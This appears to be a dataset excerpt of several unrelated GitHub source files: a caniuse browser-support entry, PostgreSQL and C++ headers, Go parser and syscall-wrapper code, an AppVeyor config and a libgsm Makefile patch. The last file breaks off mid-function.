text
stringlengths
2
100k
meta
dict
{ "title":"getElementsByClassName", "description":"Method of accessing DOM elements by class name", "spec":"https://dom.spec.whatwg.org/#dom-document-getelementsbyclassname", "status":"ls", "links":[ { "url":"https://www.quirksmode.org/dom/tests/basics.html#getElementsByClassName", "title":"Test page" }, { "url":"https://www.webplatform.org/docs/dom/HTMLElement/getElementsByClassName", "title":"WebPlatform Docs" } ], "bugs":[ { "description":"Safari 3.1 has a caching bug. If the class of an element changes it won't be available for getElementsByClassName." }, { "description":"Opera Mobile (Classic) has a caching bug when getElementsByClassName is used while document.readyState is \"loading\"" }, { "description":"Reported to not work for SVG elements in IE11." } ], "categories":[ "DOM", "HTML5" ], "stats":{ "ie":{ "5.5":"n", "6":"p", "7":"p", "8":"p", "9":"y", "10":"y", "11":"y" }, "edge":{ "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y" }, "firefox":{ "2":"p", "3":"y", "3.5":"y", "3.6":"y", "4":"y", "5":"y", "6":"y", "7":"y", "8":"y", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y" }, "chrome":{ "4":"y", "5":"y", "6":"y", "7":"y", "8":"y", "9":"y", "10":"y", "11":"y", "12":"y", "13":"y", "14":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y", "51":"y", "52":"y", "53":"y", "54":"y", "55":"y", "56":"y", "57":"y", "58":"y", "59":"y", "60":"y", "61":"y", "62":"y", "63":"y", "64":"y", "65":"y", "66":"y" }, "safari":{ "3.1":"y", "3.2":"y", "4":"y", "5":"y", "5.1":"y", "6":"y", "6.1":"y", "7":"y", "7.1":"y", "8":"y", "9":"y", "9.1":"y", "10":"y", "10.1":"y", "11":"y", "TP":"y" }, "opera":{ "9":"n", "9.5-9.6":"y", "10.0-10.1":"y", "10.5":"y", "10.6":"y", "11":"y", "11.1":"y", "11.5":"y", "11.6":"y", "12":"y", "12.1":"y", "15":"y", "16":"y", "17":"y", "18":"y", "19":"y", "20":"y", "21":"y", "22":"y", "23":"y", "24":"y", "25":"y", "26":"y", "27":"y", "28":"y", "29":"y", "30":"y", "31":"y", "32":"y", "33":"y", "34":"y", "35":"y", "36":"y", "37":"y", "38":"y", "39":"y", "40":"y", "41":"y", "42":"y", "43":"y", "44":"y", "45":"y", "46":"y", "47":"y", "48":"y", "49":"y", "50":"y" }, "ios_saf":{ "3.2":"y", "4.0-4.1":"y", "4.2-4.3":"y", "5.0-5.1":"y", "6.0-6.1":"y", "7.0-7.1":"y", "8":"y", "8.1-8.4":"y", "9.0-9.2":"y", "9.3":"y", "10.0-10.2":"y", "10.3":"y", "11.0-11.2":"y" }, "op_mini":{ "all":"y" }, "android":{ "2.1":"y", "2.2":"y", "2.3":"y", "3":"y", "4":"y", "4.1":"y", "4.2-4.3":"y", "4.4":"y", "4.4.3-4.4.4":"y", "62":"y" }, "bb":{ "7":"y", "10":"y" }, "op_mob":{ "10":"y", "11":"y", "11.1":"y", "11.5":"y", "12":"y", "12.1":"y", "37":"y" }, "and_chr":{ "62":"y" }, "and_ff":{ "57":"y" }, "ie_mob":{ "10":"y", "11":"y" }, "and_uc":{ "11.4":"y" }, "samsung":{ "4":"y", "5":"y", "6.2":"y" }, "and_qq":{ "1.2":"y" }, "baidu":{ "7.12":"y" } }, "notes":"", "notes_by_num":{ }, "usage_perc_y":97.94, "usage_perc_a":0, "ucprefix":false, "parent":"", "keywords":"byclassname", "ie_id":"", "chrome_id":"", "firefox_id":"", "webkit_id":"", "shown":true }
{ "pile_set_name": "Github" }
/*------------------------------------------------------------------------- * * gistxlog.h * gist xlog routines * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/access/gistxlog.h * *------------------------------------------------------------------------- */ #ifndef GIST_XLOG_H #define GIST_XLOG_H #include "access/gist.h" #include "access/xlogreader.h" #include "lib/stringinfo.h" #define XLOG_GIST_PAGE_UPDATE 0x00 #define XLOG_GIST_DELETE 0x10 /* delete leaf index tuples for a * page */ #define XLOG_GIST_PAGE_REUSE 0x20 /* old page is about to be reused * from FSM */ #define XLOG_GIST_PAGE_SPLIT 0x30 /* #define XLOG_GIST_INSERT_COMPLETE 0x40 */ /* not used anymore */ /* #define XLOG_GIST_CREATE_INDEX 0x50 */ /* not used anymore */ #define XLOG_GIST_PAGE_DELETE 0x60 #define XLOG_GIST_ASSIGN_LSN 0x70 /* nop, assign new LSN */ /* * Backup Blk 0: updated page. * Backup Blk 1: If this operation completes a page split, by inserting a * downlink for the split page, the left half of the split */ typedef struct gistxlogPageUpdate { /* number of deleted offsets */ uint16 ntodelete; uint16 ntoinsert; /* * In payload of blk 0 : 1. todelete OffsetNumbers 2. tuples to insert */ } gistxlogPageUpdate; /* * Backup Blk 0: Leaf page, whose index tuples are deleted. */ typedef struct gistxlogDelete { TransactionId latestRemovedXid; uint16 ntodelete; /* number of deleted offsets */ /* * In payload of blk 0 : todelete OffsetNumbers */ } gistxlogDelete; #define SizeOfGistxlogDelete (offsetof(gistxlogDelete, ntodelete) + sizeof(uint16)) /* * Backup Blk 0: If this operation completes a page split, by inserting a * downlink for the split page, the left half of the split * Backup Blk 1 - npage: split pages (1 is the original page) */ typedef struct gistxlogPageSplit { BlockNumber origrlink; /* rightlink of the page before split */ GistNSN orignsn; /* NSN of the page before split */ bool origleaf; /* was splitted page a leaf page? */ uint16 npage; /* # of pages in the split */ bool markfollowright; /* set F_FOLLOW_RIGHT flags */ /* * follow: 1. gistxlogPage and array of IndexTupleData per page */ } gistxlogPageSplit; /* * Backup Blk 0: page that was deleted. * Backup Blk 1: parent page, containing the downlink to the deleted page. */ typedef struct gistxlogPageDelete { FullTransactionId deleteXid; /* last Xid which could see page in scan */ OffsetNumber downlinkOffset; /* Offset of downlink referencing this * page */ } gistxlogPageDelete; #define SizeOfGistxlogPageDelete (offsetof(gistxlogPageDelete, downlinkOffset) + sizeof(OffsetNumber)) /* * This is what we need to know about page reuse, for hot standby. */ typedef struct gistxlogPageReuse { RelFileNode node; BlockNumber block; FullTransactionId latestRemovedFullXid; } gistxlogPageReuse; #define SizeOfGistxlogPageReuse (offsetof(gistxlogPageReuse, latestRemovedFullXid) + sizeof(FullTransactionId)) extern void gist_redo(XLogReaderState *record); extern void gist_desc(StringInfo buf, XLogReaderState *record); extern const char *gist_identify(uint8 info); extern void gist_xlog_startup(void); extern void gist_xlog_cleanup(void); extern void gist_mask(char *pagedata, BlockNumber blkno); #endif
{ "pile_set_name": "Github" }
package parser import "github.com/hashicorp/hcl/hcl/ast" // flattenObjects takes an AST node, walks it, and flattens func flattenObjects(node ast.Node) { ast.Walk(node, func(n ast.Node) (ast.Node, bool) { // We only care about lists, because this is what we modify list, ok := n.(*ast.ObjectList) if !ok { return n, true } // Rebuild the item list items := make([]*ast.ObjectItem, 0, len(list.Items)) frontier := make([]*ast.ObjectItem, len(list.Items)) copy(frontier, list.Items) for len(frontier) > 0 { // Pop the current item n := len(frontier) item := frontier[n-1] frontier = frontier[:n-1] switch v := item.Val.(type) { case *ast.ObjectType: items, frontier = flattenObjectType(v, item, items, frontier) case *ast.ListType: items, frontier = flattenListType(v, item, items, frontier) default: items = append(items, item) } } // Reverse the list since the frontier model runs things backwards for i := len(items)/2 - 1; i >= 0; i-- { opp := len(items) - 1 - i items[i], items[opp] = items[opp], items[i] } // Done! Set the original items list.Items = items return n, true }) } func flattenListType( ot *ast.ListType, item *ast.ObjectItem, items []*ast.ObjectItem, frontier []*ast.ObjectItem) ([]*ast.ObjectItem, []*ast.ObjectItem) { // If the list is empty, keep the original list if len(ot.List) == 0 { items = append(items, item) return items, frontier } // All the elements of this object must also be objects! for _, subitem := range ot.List { if _, ok := subitem.(*ast.ObjectType); !ok { items = append(items, item) return items, frontier } } // Great! We have a match go through all the items and flatten for _, elem := range ot.List { // Add it to the frontier so that we can recurse frontier = append(frontier, &ast.ObjectItem{ Keys: item.Keys, Assign: item.Assign, Val: elem, LeadComment: item.LeadComment, LineComment: item.LineComment, }) } return items, frontier } func flattenObjectType( ot *ast.ObjectType, item *ast.ObjectItem, items []*ast.ObjectItem, frontier []*ast.ObjectItem) ([]*ast.ObjectItem, []*ast.ObjectItem) { // If the list has no items we do not have to flatten anything if ot.List.Items == nil { items = append(items, item) return items, frontier } // All the elements of this object must also be objects! for _, subitem := range ot.List.Items { if _, ok := subitem.Val.(*ast.ObjectType); !ok { items = append(items, item) return items, frontier } } // Great! We have a match go through all the items and flatten for _, subitem := range ot.List.Items { // Copy the new key keys := make([]*ast.ObjectKey, len(item.Keys)+len(subitem.Keys)) copy(keys, item.Keys) copy(keys[len(item.Keys):], subitem.Keys) // Add it to the frontier so that we can recurse frontier = append(frontier, &ast.ObjectItem{ Keys: keys, Assign: item.Assign, Val: subitem.Val, LeadComment: item.LeadComment, LineComment: item.LineComment, }) } return items, frontier }
{ "pile_set_name": "Github" }
#pragma once #if !defined(isectNil) #define isectNil ((ISECT)-1) #endif typedef IMOD XIMOD; // external module index; 1 based inline IMOD imodForXimod(XIMOD ximod) { return ximod - 1; } inline XIMOD ximodForImod(IMOD imod) { return imod + 1; } struct SC20 { ISECT isect; OFF off; CB cb; IMOD imod; }; struct SC40 { ISECT isect; OFF off; CB cb; DWORD dwCharacteristics; IMOD imod; SC40() : isect(isectNil), off(0), cb(cbNil), dwCharacteristics(0), imod(imodNil) { expect(fAlign(this)); } inline int IsAddrInSC(ISECT isect_, OFF off_) const { if (isect == isect_) { if (off_ < off) return -1; if (off_ - off < cb) return 0; return 1; } else return (isect_ - isect); } }; struct SC: public SC40 { DWORD dwDataCrc; DWORD dwRelocCrc; SC() : dwDataCrc(0), dwRelocCrc(0) {} inline bool Match(IMOD imod_, CB cb_, DWORD dwDataCrc_, DWORD dwRelocCrc_) const { return imod == imod_ // only interested in this one imod && dwDataCrc == dwDataCrc_ && dwRelocCrc == dwRelocCrc_ && cb == cb_; } inline bool Match(IMOD imod_, CB cb_, DWORD dwDataCrc_, DWORD dwRelocCrc_, DWORD dwCharacteristics_) const { return imod == imod_ // only interested in this one imod && dwDataCrc == dwDataCrc_ && dwRelocCrc == dwRelocCrc_ && cb == cb_ && dwCharacteristics == dwCharacteristics_; } SC& operator=(const SC20& sc20) { isect = sc20.isect; off = sc20.off; cb = sc20.cb; dwCharacteristics = 0; imod = sc20.imod; dwDataCrc = 0; dwRelocCrc = 0; return *this; } SC& operator=(const SC40& sc40) { isect = sc40.isect; off = sc40.off; cb = sc40.cb; dwCharacteristics = sc40.dwCharacteristics; imod = sc40.imod; dwDataCrc = 0; dwRelocCrc = 0; return *this; } SC& operator=(const SC& sc) { isect = sc.isect; off = sc.off; cb = sc.cb; dwCharacteristics = sc.dwCharacteristics; imod = sc.imod; dwDataCrc = sc.dwDataCrc; dwRelocCrc = sc.dwRelocCrc; return *this; } static int compareSC(const void* pv1, const void* pv2) { const SC *psc1 = reinterpret_cast<const SC *>(pv1); const SC *psc2 = reinterpret_cast<const SC *>(pv2); return psc2->IsAddrInSC(psc1->isect, psc1->off); } }; struct SC2: public SC { DWORD isectCoff; SC2() : isectCoff(0) {} SC2& operator=(const SC2& sc) { isect = sc.isect; off = sc.off; cb = sc.cb; dwCharacteristics = sc.dwCharacteristics; imod = sc.imod; dwDataCrc = sc.dwDataCrc; dwRelocCrc = sc.dwRelocCrc; isectCoff = sc.isectCoff; return *this; } static int compareSC2(const void* pv1, const void* pv2) { const SC2 *psc1 = reinterpret_cast<const SC2 *>(pv1); const SC2 *psc2 = reinterpret_cast<const SC2 *>(pv2); return psc2->IsAddrInSC(psc1->isect, psc1->off); } }; template <typename T> class EnumSC : public EnumContrib { public: EnumSC(const Buffer& buf) : bufSC(buf) { reset(); } EnumSC(const EnumSC& esc) : bufSC(esc.bufSC), i(esc.i) { } void release() { delete this; } void reset() { i = (size_t)-1; } BOOL next() { if (++i * sizeof(T) < (size_t) bufSC.Size()) { return TRUE; } return FALSE; } BOOL prev() { BOOL ret = i != 0; if (i > 0) { i--; } return ret; } void get(OUT USHORT* pimod, OUT USHORT* pisect, OUT long* poff, OUT long* pcb, OUT ULONG* pdwCharacteristics) { assert(sizeof(T) == sizeof(SC)); assert(i != (size_t)-1); assert(i * sizeof(T) < (size_t)bufSC.Size()); const SC* psc = reinterpret_cast<SC *>(bufSC.Start()) + i; *pimod = ximodForImod(psc->imod); *pisect = psc->isect; *poff = psc->off; *pcb = psc->cb; *pdwCharacteristics = psc->dwCharacteristics; } void get2(OUT USHORT* pimod, OUT USHORT* pisect, OUT DWORD* poff, OUT DWORD* pisectCoff, OUT DWORD* pcb, OUT ULONG* pdwCharacteristics) { assert(sizeof(T) == sizeof(SC2)); assert(i != (size_t)-1); assert(i * sizeof(T) < (size_t)bufSC.Size()); const SC2* psc = reinterpret_cast<SC2 *>(bufSC.Start()) + i; *pimod = ximodForImod(psc->imod); *pisect = psc->isect; *poff = psc->off; *pisectCoff = psc->isectCoff; *pcb = psc->cb; *pdwCharacteristics = psc->dwCharacteristics; } void getCrcs(OUT DWORD* pcrcData, OUT DWORD* pcrcReloc) { const T* psc = (T *) bufSC.Start() + i; *pcrcData = psc->dwDataCrc; *pcrcReloc = psc->dwRelocCrc; } bool fUpdate(long off, long cb) { assert(i * sizeof(T) < size_t(bufSC.Size())); const size_t cElMax = s_cbMaxAlloc / sizeof(T); if (i <= cElMax && i * sizeof(T) < size_t(bufSC.Size())) { T *psc = reinterpret_cast<T *>(bufSC.Start()) + i; psc->off = off; psc->cb = cb; return true; } return false; } BOOL clone(EnumContrib **ppEnum) { return (*ppEnum = new EnumSC(*this)) != NULL; } BOOL locate(long isect, long off) { isect &= 0xFFFF; // ISECT(isect) is going to do this // anyway, just make it explicit! T* pscLo = reinterpret_cast<T *>(bufSC.Start()); T* pscHi = pscLo + ((bufSC.Size() / sizeof(T)) - 1); T* psc; assert(pscLo != NULL && pscHi != NULL); // binary search for containing SC while(pscLo < pscHi) { psc = pscLo + ((pscHi - pscLo) / 2); int iResult = psc->IsAddrInSC(ISECT(isect), off); if (iResult < 0) { pscHi = psc; } else if (iResult > 0) { pscLo = psc + 1; } else { i = (size_t)(psc - reinterpret_cast<T *>(bufSC.Start())) - 1; return TRUE; } } assert(pscHi == pscLo); psc = pscHi; if (psc->IsAddrInSC(ISECT(isect), off) == 0) { i = (size_t)(psc - reinterpret_cast<T *>(bufSC.Start())) - 1; return TRUE; } pscLo = reinterpret_cast<T *>(bufSC.Start()); pscHi = pscLo + ((bufSC.Size() / sizeof(T)) - 1); if (pscLo->IsAddrInSC(ISECT(isect), off) < 0) { i = (size_t) -1; } else if (pscHi->IsAddrInSC(ISECT(isect), off) > 0) { i = ((bufSC.Size() / sizeof(T)) - 1); } else { int iResult = psc->IsAddrInSC(ISECT(isect), off); i = psc - pscLo + (iResult > 0 ? 0 : -2); } return FALSE; } private: const Buffer& bufSC; size_t i; }; class DBICommon : public DBI { public: BOOL QueryTypeServerByPdb(const char* szPdb, OUT ITSM* pitsm); BOOL OpenMod(SZ_CONST szModule, SZ_CONST szObjFile, OUT Mod** ppmod); // mts safe };
{ "pile_set_name": "Github" }
version: '{build}' environment: matrix: # for Python versions available on Appveyor, see # https://www.appveyor.com/docs/windows-images-software/#python # only enable one version, otherwise it takes too long! - PYTHON: "C:\\Python38-x64" image: Visual Studio 2019 install: - git submodule update --recursive --init # we need wheel installed to build wheels - "%PYTHON%\\python.exe -m pip install wheel" build: off test_script: - "%PYTHON%\\python.exe setup.py bdist_wheel" artifacts: # bdist_wheel puts your built wheel in the dist directory - path: dist\*
{ "pile_set_name": "Github" }
--- Makefile +++ Makefile @@ -139,7 +139,10 @@ # Targets +VERSION=1.0.13 +MAJOR_VERSION=$(firstword $(subst ., ,$(VERSION))) LIBGSM = $(LIB)/libgsm.a +LIBGSMSO= $(LIB)/libgsm.so.$(VERSION) TOAST = $(BIN)/toast UNTOAST = $(BIN)/untoast @@ -279,7 +282,7 @@ # Target rules -all: $(LIBGSM) $(TOAST) $(TCAT) $(UNTOAST) +all: $(LIBGSM) $(LIBGSMSO) $(TOAST) $(TCAT) $(UNTOAST) @-echo $(ROOT): Done. tst: $(TST)/lin2cod $(TST)/cod2lin $(TOAST) $(TST)/test-result @@ -304,6 +307,11 @@ $(AR) $(ARFLAGS) $(LIBGSM) $(GSM_OBJECTS) $(RANLIB) $(LIBGSM) +$(LIBGSMSO): $(LIB) $(GSM_OBJECTS) + $(CC) $(LDFLAGS) -shared -Wl,-soname,libgsm.so.$(MAJOR_VERSION) -o $@ $(GSM_OBJECTS) + $(LN) -sf $(notdir $@) lib/libgsm.so.$(MAJOR_VERSION) + $(LN) -sf $(notdir $@) lib/libgsm.so + # Toast, Untoast and Tcat -- the compress-like frontends to gsm. @@ -425,7 +433,7 @@ -print | xargs rm $(RMFLAGS) clean: semi-clean - -rm $(RMFLAGS) $(LIBGSM) $(ADDTST)/add \ + -rm $(RMFLAGS) $(LIBGSM) lib/libgsm.so* $(ADDTST)/add \ $(TOAST) $(TCAT) $(UNTOAST) \ $(ROOT)/gsm-1.0.tar.Z
{ "pile_set_name": "Github" }
// mksyscall.pl -l32 -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go // Code generated by the command above; see README.md. DO NOT EDIT. // +build darwin,arm package unix import ( "syscall" "unsafe" ) var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(ngid int, gid *_Gid_t) (n int, err error) { r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(ngid int, gid *_Gid_t) (err error) { _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(s int, how int) (err error) { _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) { _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { var _p0 unsafe.Pointer if len(buf) > 0 { _p0 = unsafe.Pointer(&buf[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) { r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { var _p0 unsafe.Pointer if len(mib) > 0 { _p0 = unsafe.Pointer(&mib[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, timeval *[2]Timeval) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimes(fd int, timeval *[2]Timeval) (err error) { _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func fcntl(fd int, cmd int, arg int) (val int, err error) { r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg)) val = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, behav int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { var _p0 unsafe.Pointer if len(b) > 0 { _p0 = unsafe.Pointer(&b[0]) } else { _p0 = unsafe.Pointer(&_zero) } _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) { _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe() (r int, w int, err error) { r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0) r = int(r0) w = int(r1) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte 